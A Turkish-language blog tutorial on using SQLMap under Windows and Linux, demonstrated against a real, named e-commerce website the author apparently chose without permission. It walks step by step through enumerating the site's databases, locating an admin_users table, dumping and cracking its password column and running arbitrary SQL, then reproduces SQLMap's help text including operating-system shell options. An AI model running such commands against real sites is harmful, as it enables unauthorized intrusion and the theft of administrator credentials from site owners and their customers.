Penetrasyon Testi - SQLMap ( Windows & Linux)
- 6,845 Kez Okundu
- Siber Güvenlik
- 1 Yorum
- 2017-05-18 02:23:20
Merhaba arkadaşlar, sızma testlerinde kullanılan araçlardan biri olan SQLMap , Linux & Windows ortamında kullanımından bahsedeceğim. Zaten Linux üzerinde kullanımını az çok biliyorsunuz farklı kullanımından değil en çok kullandığınız kodları ele alarak her iki platformda da kullanabilmenizi sağlamak istiyorum.
SQLMap in temel amacı; Veritabanınıza ,tespit edilen SQL açıkları üzerinden, sorgunun söz dizimi bozularak erişim sağlamak ve ilgili veriyi çekmek veya değiştirmek şeklinde yorumlayabiliriz.
Basitçe kullanımından bahsedelim.
NOT: Basit bir tarama ile web sitesi belirledim örneklemeyi bu site üzerinden yapacağım. Web sitesine herhangi bir zarar verilmemiştir , verilmesi amaçlanmamıştır.
- Windows İçin;
Öncelikle Windows üzerinde Python dilini kullanabilmeniz ve py uygulamalarını çalıştırıp test edebilmemiz için aşağıdaki programı indirip kurmanız gereklidir.
Programı kurduğunuzu varsayarak devam ediyorum ,indirmiş olduğunuz araç klasörünün içine girin ve Shift-Sağ Tuş tıklayarak Komut penceresini burada aç seçeneğine tıklayın. Karşımıza bildiğimiz CMD ekranı gelmiş olacak .
Bu ekrana sqlmap.py -h yazdığımızda taramalarımız için kullanılacak parametreleri bize gösterecektir.
Görmüş olduğunuz paremetrelerin ayrıntılı kullanımlarını küçük bir araştırma ile öğrenebilirsiniz ;) Ben size en çok kullanılan paremetrelerden basitçe kullanımını göstereceğim.
Yukarıda da bahsettiğim gibi belirlemiş olduğum web sitesinin paremetreler kullanarak veritabanına ulaşalım.
Örnek sitemiz için aşağıdaki söz dizimi şeklinde paremetrelerimizi giriyoruz. URL’mizi -u anahtarına argüman olarak gönderiyoruz ve ardından istediğimiz paremetreleri dönen sonuçlara göre sıralayacağız.Kullandığımız --dbs paremetresi ile sitemizde bulunan veitabanlarını öğrenmiş olacağız.
sqlmap.py -u "http://www.batikbymirah.com/precuts/group.php?id=1" --dbs
İlk defa komutu verdiğimizde script bizim için ilk testleri yapıp database sunucusunu tipini tespit etmek ve komutları verebilmek için çeşitli testler yapmak isteyecek ve bunların onayını almak için size birkaç soru soracak. Buradaki adımları isterseniz atlayabilirsiniz veya onay verip devam edebilirsiniz. Ben daha önce test ettiğim için bu adımları benden tekrar istemeyecek.
Görüldüğü gibi taramaları gerçekleştirip sorgu arasına otomatik denemeler ile girmiş olduğu sözdizimi sayesinde bypass kodumuzu da karşımıza çıkarmış oluyor.
Ardından tarama sonucunda istediğimiz parametre doğrultusunda sonucu karşımıza getirmiş oldu . Veritabanlarını ekranda görebilirsiniz.
Şimdi ise bu veri tabanına ait tablolarımızı tespit edelim.
sqlmap.py -u "http://www.batikbymirah.com/precuts/group.php?id=1" --columns -D db148936_kadek
Scriptimiz aynı payload kodunu kullanarak tablolara erişiyor.
Gördüğünüz gibi db148936_kadek veritabanına ait 122 tablo buldu her birini ekrana getiriyor.
Fakat bizim aradığımız tablo bu veritabanında değil, bizde diğer veritabanı için aynı taramayı yapıyoruz.
sqlmap.py -u "http://www.batikbymirah.com/precuts/group.php?id=1" --columns -D db148936_shop
Burada da görüldüğü gibi db148936_shop veritabanına ait 3 tablo bulmuş durumda.
Bizim aradığımız tablo burada admin_users tablosu ve biz bu tablonun sütunlarını bulacağız.
sqlmap.py -u "http://www.batikbymirah.com/precuts/group.php?id=1" --columns -D db148936_shop -T admin_users
Taramamız aynı şekilde devam ediyor.
Seçtiğimiz admin_user tablosunda iki adet sütun varmış.
Şimdi ise tespit etmiş olduğu iki sütunun içeriğini ekrana basmasını isteyeceğiz.
sqlmap.py -u "http://www.batikbymirah.com/precuts/group.php?id=1" --columns -D db148936_shop -T admin_users -C adm_usr_pwd,adm_usr_id --dump
Script işlemlerini yapıyor :)
Tarama sonucunda çıktı olarak verileri karşımızda görebilirsiniz
Burada bize bir sonraki kullanacğımız araçlar için şifrelenmiş veriyi geçici bir dosyada depolamak isteyip istemediğimizi soruyor bizde y diyerek devam ediyoruz.
Karşımıza çıkan bir sonraki soruda ise bir nevi Sözlük-Tabanlı BruteForce (Deneme Yanılma :D ) yöntemini kullanarak şifreyi çözmek isteyip istemediğimizi soruyor biz yine y diyerek devam ediyoruz.
Scriptin kendisiyle beraber hazır bir kelime listesi bulunmakta bunu kullanmak istersek 1 yazıp Enter a tıkladık.
Denemeye başladı ben siz uğraşmayın diye başka türlü şifreyi buldum :)
Görüldüğü gibi veritabanlarına erişip tablolarını görüp sütunlarını tespit ederek verileri çektik.
Yine aynı Payload kullanılarak istediğiniz SQL sorgusu çalıştırılabilir.
sqlmap.py -u "http://www.batikbymirah.com/precuts/group.php?id=1" --sql-query="SELECT * FROM admin_users;"
İstersek admin_users tablosunun tamamını getirdiye sorgu gönderirsek, bizi kıracağını sanmıyorum :)
Gördüğünüz gibi veritabanı artık sizin kontrolünüzde.
- Linux İçin ;
Bazı Linux dağıtımlarında BackTrack , Kali gibi dağıtımlarda bu araçlar ve daha fazlası kurulu bir vaziyette kullanıma hazır bizi beklemekte, harici olarak kurmak istediğinizde
# sudo apt-get install git # git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev # cd sqlmap-dev
kodlarını kullanmanız yeterli, takıldığınız kısımları internetten araştırabilirsiniz.
Yine Python modülünü kurmamız gerekiyor eğer kurulu değilse tabi
# sudo apt-get install python2.7 veya # sudo apt-get install python3.1
Komutları başarılı bir şekilde girmişseniz
# python sqlmap.py -h
Komutunu girerek çalışabilirliğini ve versiyonunu görebilirsiniz.
Burdan sonraki işlemler aynı zaten bildiğiniz kullandığınız sistem...
SQLMap Komutları ;
___ __H__ ___ ___[,]_____ ___ ___ {1.1.5.5#dev} |_ -| . [)] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org Usage: sqlmap.py [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK Process Google dork results as target URLs Request: These options can be used to specify how to connect to the target URL --data=DATA Data string to be sent through POST --cookie=COOKIE HTTP Cookie header value --random-agent Use randomly selected HTTP User-Agent header value --proxy=PROXY Use a proxy to connect to the target URL --tor Use Tor anonymity network --check-tor Check to see if Tor is used properly Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH SQL injection techniques to use (default "BEUSTQ") Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --passwords Enumerate DBMS users password hashes --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate Operating system access: These options can be used to access the back-end database management system underlying operating system --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC General: These options can be used to set some general working parameters --batch Never ask for user input, use the default behaviour --flush-session Flush session files for current target Miscellaneous: --sqlmap-shell Prompt for an interactive sqlmap shell --wizard Simple wizard interface for beginner users
İşinize yaraması umuduyla , Sağlıcakla kalın...